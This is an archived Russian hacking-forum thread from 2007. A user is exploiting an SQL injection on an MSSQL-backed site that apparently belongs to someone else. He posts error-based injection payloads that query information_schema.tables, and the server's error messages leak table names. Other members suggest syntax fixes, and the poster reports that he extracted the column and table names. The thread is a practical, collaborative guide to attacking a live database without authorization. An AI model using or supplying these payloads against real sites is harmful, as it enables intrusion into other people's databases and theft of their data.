PDA

Просмотр полной версии : [Microsoft][ODBC SQL Server Driver]


sh-smoker
14.01.2007, 20:34
Хай.
Короче есть проблема которую нужно решить ;)
Существует сайт.
На сайте инъекция (MSSQL)
При запросе такого вида:
===============================
-1+select+top+1+table_name+from+information_schema. tables
===============================

В ошибке выводится имя таблицы:
===============================
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Products' to a column of data type int
===============================

Одна таблица есть, пробую вытащить имя второй таблицы таким запросом:
===============================
select+top+1+table_name+from+information_schema.ta bles+where+table_name+not+in('Products')
===============================

На что сервак мне отвечает:
===============================
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 6: Incorrect syntax near 'Products'
===============================

На многих серваках этот приём срабатывал.....
Ошибка синтаксиса, хмм..
В чем же она заключается???

max_pain89
14.01.2007, 20:59
после in пробел есть?

sh-smoker
14.01.2007, 21:07
угу

+toxa+
14.01.2007, 21:51
мб забыл -- поставить?

sh-smoker
14.01.2007, 22:09
нет, комент там и не нужен все ок
Может есть какиенить альтернативы по перебору колонок?

n0ne
14.01.2007, 22:22
попробуй скобки убрать, т.е. просто table_name+not+in+'Products'

sh-smoker
14.01.2007, 22:34
Спасибо попробую

sh-smoker
14.01.2007, 22:54
Попробовал, вот что мне вылезло:
============================
Incorrect syntax near ''
============================
:(

blackybr
14.01.2007, 23:05
Решение - кинь ссылку, вторую теу уже создаешь )

sh-smoker
14.01.2007, 23:24
хм интересено, если 'Products' перевести в вид "char(....)"
типа :

================================
select+top+1+table_name+from+information_schema.ta bles+where+table_name+not+in(char(....))
================================

guest3297
15.01.2007, 03:25
я те аналог в предыдушей теме приводил.

sh-smoker
15.01.2007, 10:00
']я те аналог в предыдушей теме приводил.

В том что ты привел используются кавычки, на которые соответственно серв ругается.........

sh-smoker
15.01.2007, 10:28
Ну раз свежих идей больше нету, то придется самому копать......

sh-smoker
15.01.2007, 12:45
Колонки успешно вытянул методом с ordinal_position
А для вытягивания имён таблиц что юзать?

sh-smoker
16.01.2007, 01:38
Таблицы получены.